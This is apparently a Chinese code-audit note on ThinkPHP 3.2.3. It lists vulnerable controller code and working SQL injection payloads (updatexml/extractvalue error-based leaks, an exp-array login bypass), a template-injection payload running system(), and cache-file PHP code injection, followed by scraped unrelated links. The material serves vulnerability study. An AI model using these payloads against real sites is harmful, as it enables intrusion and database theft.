thinkphp3.2.3代码审计
<?php
namespace Home\Controller;
use Think\Controller;
class UserController extends Controller { public function index(/*$id*/)
{
// S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
//在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
// F('key','<?php phpinfo();?>'); 14.生成缓存文件,在 runtime/key.php
$this->display();
/*
// $name = $_GET['name'];
// $this->assign($name); 13.模板问题 http://127.0.0.1/tp/index.php/home/user/index?name[_content]=<?php system('type index.php');;?>
// $this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think // $map['id'] = 5;
// $map['_query']='username=afanti&score=10'; //12._query参数可控SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
// $data = M('user')->where($map)->select();
// dump(data);
// $map['id'] = I('id');
// $map['_string'] = 'username='."'".I('username')."'"; //12组合注入 http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
// $data = M('user')->where($map)->select();
// dump(data); // $user = M("user"); //11.setInc注入
// $user->where('id=5')->setInc('sorce'.I('num')); // if(intval($id)>0)
// { //10、参数传递注入 public\s+function\s+[\w_]+\(\$
// $data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
// dump($data);
// }
// $map = array();
//
// $data = array();
// $data['user'] = $_POST['username'];
// $data['pass'] = md5($_POST['password']); 9.exp username[0]=exp&username[1]=aa'or 1=1%23&password=1
// M('user')->where($data)->find();
//
// $res = M('member')->where(array('id'=>$_GET['userid']))->count(); 9.exp userid[0]=exp&userid[1]=aaaaaa
//
//// $map['id']=I('id'); //这样exp不可以
// $map['id'] = $_GET['id']; //9.exp 注入http://127.0.0.1/tp/index.php/home/user/index?id[0]=exp&id[1]=aaaaaa
// $data = M('user')->where($map)->select();
// dump($data);
// M('user')->count(I('par')); //8聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
// //8.query,execute支持原生的sql语句 聚合函数
//$Model->index(I('user'))->select(); //7.索引注入
// M('user')->comment(I('comment'))->where('1=1')->select(); //6.comment SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
// M('user')->where('1=1')->order(array('id'=>I('orderby')))->select(); //5.order,group,having参数可控 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
// M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select(); // 4.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制
// M('user')->field(I('id'))->where('1=1')->select(); //3.SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控
// M('user')->field(array('id','username'=>I('name')))->select(); //3.field SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错
// M()->table(I('biao'))->where('1=1')->select(); //2.table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在
// $data = M('user')->where("id=".I('id'))->select(); //1.where后直接直接拼接会产生注入
// dump($data);
// $data = I('id','1','intval');
// echo $data; //URL_PARAMS_BIND == true
// echo $id; //参数绑定 http://127.0.0.1/tp/index.php/home/user/index/id/11111111 传入11111
// echo "usercontroller"; } }
1.where后直接直接拼接会产生注入
$data = M('user')->where("id=".I('id'))->select();
2.table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在。
M()->table(I('biao'))->where('1=1')->select();
3.
M('user')->field(I('id'))->where('1=1')->select(); //3.SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控导致注入
M('user')->field(array('id','username'=>I('name')))->select(); //3.field SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错
4.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制
M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select();
5.order,group,having参数可控 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();
6.comment注入 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
M('user')->comment(I('comment'))->where('1=1')->select();
7.索引注入
$Model->index(I('user'))->select();
8.query,execute,聚合函数支持原生的sql语句
M('user')->count(I('par')); //聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
9.exp注入
a.)
$data = array();
$data['user'] = $_POST['username'];
$data['pass'] = md5($_POST['password']); payload: username[0]=exp&username[1]=aa'or 1=1%23&password=1
M('user')->where($data)->find();
b.)
$res = M('member')->where(array('id'=>$_GET['userid']))->count(); payload: userid[0]=exp&userid[1]=aaaaaa
c.)通过I函数exp注入就不存在了
$res = M('member')->where(array('id'=>$I('userid')))->count();
10、参数传递注入 public\s+function\s+[\w_]+\(\$
public function index(/*$id*/)....
if(intval($id)>0)
{
 $data = M('user')->where('id='.$id)->select();  //?id=1) 直接绕过判断
 dump($data);
}
11.setInc注入
$user = M("user");
$user->where('id=5')->setInc('sorce'.I('num'));
12.组合注入
http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
$map['id'] = I('id');
$map['_string'] = 'username='."'".I('username')."'"; 
$data = M('user')->where($map)->select();
dump(data);
13、_query参数可控
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
$map['id'] = 5;
$map['_query']='username=afanti&score=10';   //12._query参数可控SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
$data = M('user')->where($map)->select();
dump(data);
14、模板问题:http://127.0.0.1/tp/index.php/home/user/index?name[_content]=<?php system('type index.php');;?>
$name = $_GET['name'];
$this->assign($name); 
$this->display('index');       //'TMPL_ENGINE_TYPE'      =>  'php'才有效,默认是Think
15、在runtime/key.php
S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
在Temp生成文件   生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
F('key','<?php phpinfo();?>'); 
        $this->display();
thinkphp3.2.3
跨控制器的方法R:
public function test()
    {
        echo "test";
        echo I('name');
$data = M('user')->where('id=1')->select();
 $a = A('User');
 $a->index();
 R('User/index');       //跨控制器
 dump($data);
    }
16.select、find、delete注入
public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
注入的payload:
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
delete方法注入payload:
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
 												
											thinkphp3.2.3代码审计的更多相关文章
- 代码审计准备之Thinkphp3
		
0x01环境部署: 下载: 获取ThinkPHP的方式很多,官方网站(http://thinkphp.cn)是最好的下载和文档获取来源. 官网提供了稳定版本的下载:http://thinkphp.cn ...
 - 代码审计-Thinkphp3框架EXP表达式SQL注入
		
最近看java框架源码也是看的有点头疼,好多还要复习熟悉 还有好多事没做...慢慢熬. 网上好像还没有特别详细的分析 我来误人子弟吧. 0x01 tp3 中的exp表达式 查询表达式的使用格式: $m ...
 - 代码审计-thinkphp3.2.3框架漏洞sql注入
		
开始复现审计一下tp3和tp5的框架漏洞,当个练习吧. 涉及注入的方法为where() table() delete()等. 环境 tp3.2.3 : 0x01 注入成因 测试代码: public f ...
 - PHP代码审计05之正则使用不当
		
前言 根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩固.这是之前写的,有兴趣可以去看看 ...
 - Thinkphp3分析与审计
		
0x00 前言: 这篇是去年组内分享的时候给小伙伴写的0基础快速审计tp3系列的文章,主要是对架构做个分析以及审计一些sql注入漏洞~ 现在想想打算放出来,过了一年了,可能里面有一些问题,望看到的大佬 ...
 - thinkphp3.2.3中U()方法和redirect()方法区别
		
今天博主看3.1的教程,学着3.2,就遇到了这个坑,怎么就是不跳转呢,很纳闷!! 在thinkphp3.1 中 U()方法是可以执行跳转的(看视频教程里面是可以的,博主没有测试过). 但是在think ...
 - thinkphp3.2.3版本文件目录及作用
		
下载thinkphp3.2.3版本,解压缩后将文件夹名字改为thinkphp,然后放在www目录下,里面的文件夹和文件的名字和作用如下:(前面有Tab健的表示下一级,thinkphp是根目录) //t ...
 - 基于ThinkPHP3的微信平台开发_1
		
微信公众平台是个好东西,具体的就不说了,我直接说技术>_< 下图为目录结构一览: 微信开发 - 文件目录结构 平台功能: 此次开发的平台是面向多微信公众号.微信多公众号主(下面简称号主)的 ...
 - Thinkphp3.2.3使用Ajax一定注意 数据返回
		
Thinkphp3.2.3使用Ajax一定注意 数据返回 $data = 'ok'; $this->ajaxReturn($data); 不能直接 echo $data;
 
随机推荐
- Spring.Net---3、IoC/DI深入理解
			
------------------------------------------------------------------------ 理解IoC/DI 1.控制反转 --> 谁控制谁 ...
 - js复选框全选反选
			
本篇文章是关于复选框的,有2种形式:1.全选.反选由2个按钮实现:2.全选.反选由一个按钮实现. <!DOCTYPE html> <html> <head> < ...
 - sql:SQL Server metadata queries
			
http://www.mssqltips.com/sqlservertip/3449/making-sql-server-metadata-queries-easier-with-these-new- ...
 - 在Ubuntu 14.04.1 LTS  上安装gettext失败
			
使用apt-get install -f,因为有额外的依赖.
 - asp.net修改上传文件大小
			
我们大家都知道ASP.NET为我们提供了文件上传服务器控件FileUpload,默认情况下可上传的最大文件为4M,如果要改变可上传文件大小限制,那么我们可以在web.config中的httpRunti ...
 - 安装使用jupyter
			
介绍 jupyter是IPython剥离出来成为一个语言无关的独立软件包. jupyter已经支持50多种语言的内核,包括Lisp.R.F#.Perl.Ruby.Scala等.事实上即使IPython ...
 - JavaScript运算符优先级引起的bug
			
[下面是昨天发给同事的邮件,为防止泄露商业机密,隐去了项目名和变量名] ==================================================== 昨天发现Nx代码中的一 ...
 - prince2的市场使用规模有多大?
			
PRINCE2的使用和应用非常广泛.在过去的12个月里,超过60,000人参加了PRINCE2基础资格(Foundation)或从业资格(Practitioner)考试.现在每周参加考试的人数超过了2 ...
 - java  indexOf 和 split的用法
			
1.java 的 indexOf 方法 ,如果存在 则 指定的字符串的开始位置,如果不存在 则返回-1: 2.java 的 split的方法:将一个字符串分割为子字符串,然后将结果作为字符串数组返回. ...
 - zabbix共享内存报错cannot create semaphore set
			
zabbix共享内存报错 cannot open log: cannot create semaphore set: [28] No space left on device 报错原因: kernel ...